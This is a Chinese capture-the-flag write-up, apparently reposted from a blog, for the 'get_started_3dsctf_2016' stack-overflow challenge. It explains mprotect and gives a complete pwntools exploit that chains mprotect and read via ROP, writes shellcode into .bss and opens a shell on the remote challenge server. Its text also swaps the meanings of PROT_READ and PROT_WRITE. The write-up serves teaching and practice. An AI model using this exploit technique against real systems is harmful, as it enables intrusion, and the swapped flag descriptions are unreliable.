get_started_3dsctf_2016的wp

一开始看见这个题,还挺开心
在这里插入图片描述
这是一个栈溢出,而且很简单

不过我们发现写的exp本地能通,但是远程过不了

这是因为.bss段的权限受限

但是有这么一个函数,mprotect,我们先来学习一下。

int mprotect(const void *start, size_t len, int prot);

第一个参数填的是一个地址,是指需要进行操作的地址。

第二个参数是地址往后多大的长度。

第三个参数的是要赋予的权限。

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

嗯。。。还是上面这一句话讲的明白…

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

prot=7 是可读可写可执行

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。


修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限

在我们修改权限时要在ret后面压一个返回地址

为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好.
ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
即为下一个函数read的地址.

from pwn import *

elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576)

pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
mem_addr = 0x80EB000 #可读可写的内存,但不可执行
mem_size = 0x1000    #通过调试出来的值
mem_proc = 0x7       #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.

'''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数
payload_01 += p32(mem_addr)   #mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)   #mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)   #mprotect函数参数3 修改的权限

payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址

payload_01 += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数
payload_01 += p32(0)     #read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)   #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小

payload_01 += p32(mem_addr)   #执行完read后ret esi

sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

sh.sendline(payload_sh)

sh.interactive()

具体过程可以看看

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/113621230